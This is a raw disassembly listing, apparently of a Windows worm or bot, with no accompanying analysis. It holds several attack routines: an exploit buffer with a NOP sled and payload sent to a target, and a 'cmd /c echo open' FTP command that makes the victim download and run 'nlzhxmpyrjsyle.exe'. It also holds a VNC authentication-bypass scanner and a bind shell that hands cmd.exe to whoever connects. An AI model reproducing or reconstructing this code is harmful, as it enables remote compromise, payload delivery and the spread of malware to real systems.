sub_40E3C7+268j push [ebp+var_4] call ds:dword_4F533C ; CloseHandle jmp loc_40E47F ; --------------------------------------------------------------------------- loc_40E563: ; CODE XREF: sub_40E3C7+18Cj lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call ds:dword_4F53BC ; ReadFile push ebx ; Time call _time push eax ; Seed call _srand push 14h ; Size lea eax, [ebp+Src] push 41h ; Val push eax ; Dst call _memset push 1Ch ; Size lea eax, [ebp+var_30] push 41h ; Val push eax ; Dst call _memset add esp, 20h call _rand mov esi, [ebp+Memory] mov [ebp+Src], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp byte_4490E0[esi], bl jz short loc_40E5DA push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4E5E44 jmp short loc_40E5ED ; --------------------------------------------------------------------------- loc_40E5DA: ; CODE XREF: sub_40E3C7+1FFj push 2 mov [ebp+var_28], ebx pop eax push 4 ; Size mov [ebp+var_24], eax mov [ebp+var_2C], eax push offset dword_44917C ; Src loc_40E5ED: ; CODE XREF: sub_40E3C7+211j lea eax, [ebp+var_20] push eax ; Dst call _memcpy add esp, 0Ch call _rand mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call _rand cdq idiv edi mov eax, dword_4490D4[esi] mov [ebp+var_18], ebx push eax ; Size mov [ebp+Size], eax inc edx mov [ebp+var_1C], edx call _malloc mov edi, eax pop ecx cmp edi, ebx jz loc_40E555 mov eax, [ebp+Size] add eax, 0FFFFFFFEh push eax ; Size push 90h ; Val push edi ; Dst call _memset mov eax, [ebp+Size] push 2 ; Size push ebx ; Val lea eax, [edi+eax-2] push eax ; Dst call _memset mov eax, dword_4490DC[esi] push 7 ; Size add eax, edi push offset dword_4490C8 ; Src push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 15Ch ; Size add eax, 7 push offset dword_448F68 ; Src push eax ; Dst call _memcpy mov eax, dword_4490D8[esi] add esp, 30h cmp byte_4490E0[esi], bl mov [ebp+Memory], eax jz short loc_40E6E6 push 4 ; Size add eax, edi push offset dword_4E5E34 ; Src push eax ; Dst call _memcpy add [ebp+Memory], 0Ch mov esi, offset dword_4490F8 mov eax, [ebp+Memory] push 4 ; Size add eax, edi push esi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Memory] push 4 ; Size push esi ; Src lea eax, [eax+edi+24h] push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 4 ; Size add eax, 0Ch push esi ; Src push eax ; Dst call _memcpy add esp, 30h jmp short loc_40E70E ; --------------------------------------------------------------------------- loc_40E6E6: ; CODE XREF: sub_40E3C7+2D0j add eax, edi mov [ebp+var_8], 10h mov [ebp+Memory], eax mov esi, offset dword_4490F8 loc_40E6F7: ; CODE XREF: sub_40E3C7+345j push 4 ; Size push esi ; Src push [ebp+Memory] ; Dst call _memcpy add [ebp+Memory], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40E6F7 loc_40E70E: ; CODE XREF: sub_40E3C7+31Dj mov eax, [ebp+Size] add eax, 42h push eax ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40E739 push [ebp+var_4] call ds:dword_4F533C ; CloseHandle push edi ; Memory call _free pop ecx jmp loc_40E47F ; --------------------------------------------------------------------------- loc_40E739: ; CODE XREF: sub_40E3C7+35Bj mov eax, [ebp+Size] add eax, 42h push eax ; Size push ebx ; double push esi ; Dst call _memset lea eax, [ebp+Src] push 14h ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [ebp+Size] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul ds:flt_43C488 fstp [esp+60F0h+var_60F0] call _ceil call __ftol push [ebp+Size] ; Size mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Size] add esp, 14h add eax, 20h test al, 3 mov [ebp+Memory], eax jz short loc_40E7A6 loc_40E79E: ; CODE XREF: sub_40E3C7+3DAj inc eax test al, 3 jnz short loc_40E79E mov [ebp+Memory], eax loc_40E7A6: ; CODE XREF: sub_40E3C7+3D5j lea ecx, [ebp+var_30] push 1Ch ; Size add eax, esi push ecx ; Src push eax ; Dst call _memcpy add [ebp+Memory], 1Ch push edi ; Memory call _free push 18h ; Size lea eax, [ebp+var_48] push ebx ; Val push eax ; Dst call _memset push 14h ; Size lea eax, [ebp+var_5C] push ebx ; Val push eax ; Dst mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call _memset add esp, 28h push ebx push ebx push 1 push ebx call ds:dword_4F53B8 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+Size+3], bl mov dword ptr [ebp+var_10+4], ebx loc_40E813: ; CODE XREF: sub_40E3C7+4D6j cmp dword ptr [ebp+var_10+4], 2 jge loc_40E8A8 push 1 ; char push 10B8h ; int push [ebp+Memory] ; Memory inc dword ptr [ebp+var_10+4] push esi ; Src lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] ; int rep movsd call sub_40E2D9 add esp, 2Ch test al, al jz short loc_40E8A5 cmp [ebp+var_4C], ebx jz short loc_40E897 lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call ds:dword_4F53BC ; ReadFile test eax, eax jnz short loc_40E87E call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40E47F loc_40E87E: ; CODE XREF: sub_40E3C7+4A4j push 3E8h push [ebp+var_4C] call ds:dword_4F5374 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E897 mov byte ptr [ebp+Size+3], 1 loc_40E897: ; CODE XREF: sub_40E3C7+483j ; sub_40E3C7+4CAj cmp byte ptr [ebp+Size+3], bl mov esi, [ebp+var_8] jz loc_40E813 jmp short loc_40E8A8 ; --------------------------------------------------------------------------- loc_40E8A5: ; CODE XREF: sub_40E3C7+47Ej mov esi, [ebp+var_8] loc_40E8A8: ; CODE XREF: sub_40E3C7+450j ; sub_40E3C7+4DCj push [ebp+var_4] mov edi, ds:dword_4F533C call edi ; CloseHandle push esi ; Memory call _free cmp [ebp+var_4C], ebx pop ecx jz short loc_40E8C4 push [ebp+var_4C] call edi ; CloseHandle loc_40E8C4: ; CODE XREF: sub_40E3C7+4F6j cmp byte ptr [ebp+Size+3], bl setnz al loc_40E8CA: ; CODE XREF: sub_40E3C7+BAj pop edi pop esi pop ebx leave retn sub_40E3C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8CF proc near ; CODE XREF: sub_40E9BD+29p var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4F5528 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F552C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E99D lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E99D mov edi, 400h push esi mov esi, ds:dword_4F5534 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "nlzhxmpyrjsyle.exe" push eax push eax push dword_4E2E18 push [ebp+arg_0] call sub_40AF71 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Str] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E9A1 loc_40E99D: ; CODE XREF: sub_40E8CF+50j ; sub_40E8CF+62j xor eax, eax jmp short loc_40E9B8 ; --------------------------------------------------------------------------- loc_40E9A1: ; CODE XREF: sub_40E8CF+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F5538 ; closesocket push 1 pop eax loc_40E9B8: ; CODE XREF: sub_40E8CF+D0j pop edi pop esi pop ebx leave retn sub_40E8CF endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40E9BD(char,char Size) sub_40E9BD proc near ; DATA XREF: .data:004482A4o ; .data:004482E4o arg_0 = byte ptr 4 Size = byte ptr 8 push ebx push esi push edi xor ebx, ebx loc_40E9C2: ; CODE XREF: sub_40E9BD+4Bj lea eax, [esp+0Ch+Size] push ebx ; Memory push eax ; Size call sub_40E3C7 pop ecx test al, al pop ecx jz short loc_40E9F5 push 65h lea esi, [esp+10h+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E8CF add esp, 0C0h test eax, eax jnz short loc_40EA0A loc_40E9F5: ; CODE XREF: sub_40E9BD+14j test ebx, ebx jnz short loc_40EA04 push 7D0h call ds:dword_4F534C ; Sleep loc_40EA04: ; CODE XREF: sub_40E9BD+3Aj inc ebx cmp ebx, 2 jb short loc_40E9C2 loc_40EA0A: ; CODE XREF: sub_40E9BD+36j push 1 pop eax pop edi pop esi pop ebx retn sub_40E9BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA11 proc near ; CODE XREF: sub_40EB28+91p var_5A0 = byte ptr -5A0h Dest = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4F5528 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F552C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EADF lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jz short loc_40EADF mov edi, 400h push esi mov esi, ds:dword_4F5534 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "nlzhxmpyrjsyle.exe" push eax push eax push dword_4E2E18 push [ebp+arg_0] call sub_40AF71 pop ecx push eax push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Dest] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EAE3 loc_40EADF: ; CODE XREF: sub_40EA11+50j ; sub_40EA11+62j xor eax, eax jmp short loc_40EAFA ; --------------------------------------------------------------------------- loc_40EAE3: ; CODE XREF: sub_40EA11+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F5538 ; closesocket push 1 pop eax loc_40EAFA: ; CODE XREF: sub_40EA11+D0j pop edi pop esi pop ebx leave retn sub_40EA11 endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call ds:dword_4F5528 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40EB27 push dword ptr [esp+4] call ds:dword_4F5550 ; gethostbyname test eax, eax jnz short loc_40EB20 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40EB20: ; CODE XREF: .text:0040EB1Aj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40EB27: ; CODE XREF: .text:0040EB0Cj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB28 proc near ; CODE XREF: sub_40C951+1EAp ; DATA XREF: .data:off_448224o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4E3138 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4E30F8 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB9A lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EB7B push esi jmp short loc_40EB94 ; --------------------------------------------------------------------------- loc_40EB7B: ; CODE XREF: sub_40EB28+4Ej push 0 push 1213h push offset dword_4491F8 push esi call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB9E loc_40EB94: ; CODE XREF: sub_40EB28+51j call ds:dword_4F5538 ; closesocket loc_40EB9A: ; CODE XREF: sub_40EB28+3Cj xor eax, eax jmp short loc_40EBE0 ; --------------------------------------------------------------------------- loc_40EB9E: ; CODE XREF: sub_40EB28+6Aj call ds:dword_4F5538 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EA11 add esp, 0C0h test eax, eax jz short loc_40EBDD mov eax, [ebp+arg_A8] shl eax, 6 inc dword_448228[eax] lea eax, dword_448228[eax] loc_40EBDD: ; CODE XREF: sub_40EB28+9Ej push 1 pop eax loc_40EBE0: ; CODE XREF: sub_40EB28+74j pop edi pop esi leave retn sub_40EB28 endp ; =============== S U B R O U T I N E ======================================= sub_40EBE4 proc near ; CODE XREF: sub_40EC5E+74p ; sub_40EC5E+D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBEC: ; CODE XREF: sub_40EBE4+2Dj test edi, edi jle short loc_40EC17 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4E3110 ; recv test eax, eax jz short loc_40EC13 cmp eax, 0FFFFFFFFh jz short loc_40EC13 sub edi, eax add esi, eax jmp short loc_40EBEC ; --------------------------------------------------------------------------- loc_40EC13: ; CODE XREF: sub_40EBE4+22j ; sub_40EBE4+27j xor eax, eax jmp short loc_40EC1A ; --------------------------------------------------------------------------- loc_40EC17: ; CODE XREF: sub_40EBE4+Aj push 1 pop eax loc_40EC1A: ; CODE XREF: sub_40EBE4+31j pop edi pop esi retn sub_40EBE4 endp ; =============== S U B R O U T I N E ======================================= sub_40EC1D proc near ; CODE XREF: sub_40EC5E+C0p ; sub_40EC5E+EDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC5A xor esi, esi test edi, edi jle short loc_40EC54 loc_40EC2D: ; CODE XREF: sub_40EC1D+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jz short loc_40EC5A test eax, eax jz short loc_40EC5A add esi, eax cmp esi, edi jl short loc_40EC2D loc_40EC54: ; CODE XREF: sub_40EC1D+Ej push 1 pop eax loc_40EC57: ; CODE XREF: sub_40EC1D+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC5A: ; CODE XREF: sub_40EC1D+8j ; sub_40EC1D+2Bj ... xor eax, eax jmp short loc_40EC57 sub_40EC1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40EC5E(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40EC5E proc near ; DATA XREF: .data:00448264o Dest = byte ptr -24Ch var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch Src = byte ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch Str = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_44A480 push esi push edi push 0 push 1 push 2 mov [ebp+var_2], ax pop edi push edi call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40EC8C push eax jmp short loc_40ECC0 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: sub_40EC5E+29j lea eax, [ebp+arg_4] push eax call dword_4E3138 ; inet_addr push [ebp+arg_A0] mov [ebp+var_48], eax mov [ebp+var_4C], di call dword_4E30F8 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push esi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40ECCB push esi loc_40ECC0: ; CODE XREF: sub_40EC5E+2Cj call dword_4E3190 ; closesocket jmp loc_40EEBC ; --------------------------------------------------------------------------- loc_40ECCB: ; CODE XREF: sub_40EC5E+5Fj lea eax, [ebp+Src] push 0Ch push eax push esi call sub_40EBE4 add esp, 0Ch test eax, eax jz loc_40EEB5 lea eax, [ebp+var_20] and [ebp+var_2C], 0 push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+Src] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax ; Src call _sscanf add esp, 10h cmp eax, edi jnz loc_40EEB5 cmp [ebp+var_28], 3 jz short loc_40ED17 cmp [ebp+var_20], 8 jnz loc_40EEB5 loc_40ED17: ; CODE XREF: sub_40EC5E+ADj lea eax, [ebp+Src] push 0Ch push eax push esi call sub_40EC1D add esp, 0Ch test eax, eax jz loc_40EEB5 lea eax, [ebp+var_3C] push edi push eax push esi call sub_40EBE4 add esp, 0Ch test eax, eax jz loc_40EEB5 lea eax, [ebp+var_2] push 1 push eax push esi call sub_40EC1D add esp, 0Ch test eax, eax jz loc_40EEB5 lea eax, [ebp+var_24] push 4 push eax push esi call sub_40EBE4 add esp, 0Ch test eax, eax jz loc_40EEB5 mov eax, [ebp+var_24] mov ebx, 0FF0000h mov ecx, eax mov edx, eax and ecx, ebx mov edi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, edi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp+var_24], ecx jnz loc_40EEB5 push 1 push offset dword_4E5E50 push esi call sub_40EC1D add esp, 0Ch test eax, eax jz loc_40EEB5 lea eax, [ebp+var_1C] push 18h push eax push esi call sub_40EBE4 add esp, 0Ch test eax, eax jz loc_40EEB5 xor eax, eax mov ecx, [ebp+var_8] mov al, byte ptr [ebp+var_1C+1] mov edx, ecx mov ah, byte ptr [ebp+var_1C] mov [ebp+var_1C], ax xor eax, eax mov al, byte ptr [ebp+var_1A+1] mov ah, byte ptr [ebp+var_1A] mov [ebp+var_1A], ax xor eax, eax mov al, byte ptr [ebp+var_14+1] mov ah, byte ptr [ebp+var_14] mov [ebp+var_14], ax xor eax, eax mov al, byte ptr [ebp+var_12+1] mov ah, byte ptr [ebp+var_12] mov [ebp+var_12], ax xor eax, eax mov al, byte ptr [ebp+var_10+1] mov ah, byte ptr [ebp+var_10] mov [ebp+var_10], ax mov eax, ecx and eax, ebx shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, edi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp+var_8], eax add eax, 2 push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) push [ebp+var_8] mov edi, eax push edi push esi call sub_40EEC3 add esp, 10h lea eax, [ebp+arg_4] push eax push edi push [ebp+var_20] lea eax, [ebp+Dest] push [ebp+var_28] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_B0] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F mov eax, [ebp+arg_A8] add esp, 34h shl eax, 6 inc dword_448228[eax] push esi lea eax, dword_448228[eax] call ds:dword_4F5538 ; closesocket push 1 pop eax jmp short loc_40EEBE ; --------------------------------------------------------------------------- loc_40EEB5: ; CODE XREF: sub_40EC5E+7Ej ; sub_40EC5E+A3j ... push esi call ds:dword_4F5538 ; closesocket loc_40EEBC: ; CODE XREF: sub_40EC5E+68j xor eax, eax loc_40EEBE: ; CODE XREF: sub_40EC5E+255j pop edi pop esi pop ebx leave retn sub_40EC5E endp ; =============== S U B R O U T I N E ======================================= sub_40EEC3 proc near ; CODE XREF: sub_40EC5E+1E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] test esi, esi jle short loc_40EEDF push esi push edi push [esp+10h+arg_0] call sub_40EBE4 add esp, 0Ch loc_40EEDF: ; CODE XREF: sub_40EEC3+Cj and byte ptr [edi+esi], 0 pop edi pop esi retn sub_40EEC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EEE6 proc near ; DATA XREF: sub_40EF74+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EEEF: ; CODE XREF: sub_40EEE6+25j ; sub_40EEE6+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4E5E64 call dword_4E3110 ; recv test eax, eax jle short loc_40EEEF lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4E5E60 call ds:dword_4F53B4 ; WriteFile jmp short loc_40EEEF sub_40EEE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF29 proc near ; DATA XREF: sub_40EF74+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EF32: ; CODE XREF: sub_40EF29+2Fj ; sub_40EF29+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4E5E54 call ds:dword_4F53BC ; ReadFile cmp [ebp+var_4], 0 jle short loc_40EF32 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4E5E64 call dword_4E3148 ; send jmp short loc_40EF32 sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF74 proc near ; DATA XREF: sub_401CC7+2CFEo var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch Dst = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_98] call dword_4E30F8 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4E3178 ; socket mov [ebp+arg_0], eax lea eax, [ebp+Dst] push 10h push eax push [ebp+arg_0] call dword_4E3124 ; bind push 5 push [ebp+arg_0] call dword_4E3120 ; listen mov ebx, ds:dword_4F53D0 mov esi, ds:dword_4F533C loc_40EFF4: ; CODE XREF: sub_40EF74+1CBj push edi push edi push [ebp+arg_0] call dword_4E318C ; accept mov dword_4E5E64, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4E5E60 push offset dword_4E5E5C mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4E5E58 push offset dword_4E5E54 call ebx ; CreatePipe push 44h ; Size lea eax, [ebp+var_7C] push edi ; Val push eax ; Dst call _memset mov eax, dword_4E5E5C add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4E5E58 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call ds:dword_4F53CC ; GetCurrentProcess push eax push dword_4E5E58 call ds:dword_4F53CC ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_4F5340 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EF29 lea eax, [ebp+var_C] push edi push eax call ds:dword_4F5350 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EEE6 lea eax, [ebp+var_C] push edi push eax call ds:dword_4F5350 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call ds:dword_4F5374 ; WaitForSingleObject push edi push [ebp+var_10] call ds:dword_4F5380 ; TerminateThread push edi push [ebp+var_14] call ds:dword_4F5380 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call ds:dword_4F53C4 ; TerminateProcess push dword_4E5E5C call esi ; CloseHandle push dword_4E5E60 call esi ; CloseHandle push dword_4E5E54 call esi ; CloseHandle push dword_4E5E58 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40EFF4 sub_40EF74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F144 proc near ; DATA XREF: .data:0043F010o jmp $+5 sub_40F144 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F149 proc near push 0FFFEh push 400h call sub_419551 pop ecx mov dword_4E5E6C, eax pop ecx retn sub_40F149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F160 proc near ; DATA XREF: sub_40C12D+34Do Dest = byte ptr -6C0h var_2C0 = dword ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_A4] call dword_4E30F8 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4E3178 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F207 cmp [ebp+var_1C], ebx jnz short loc_40F1E7 push ebx ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D34 add esp, 14h loc_40F1E7: ; CODE XREF: sub_40F160+65j lea eax, [ebp+var_2C0] push eax call sub_415C3F push [ebp+var_AC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_40F207: ; CODE XREF: sub_40F160+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_456024[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E3124 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F302 call dword_4E308C ; WSAGetLastError cmp eax, 2740h jz short loc_40F287 xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F267 push esi ; int lea eax, [ebp+var_2C0] 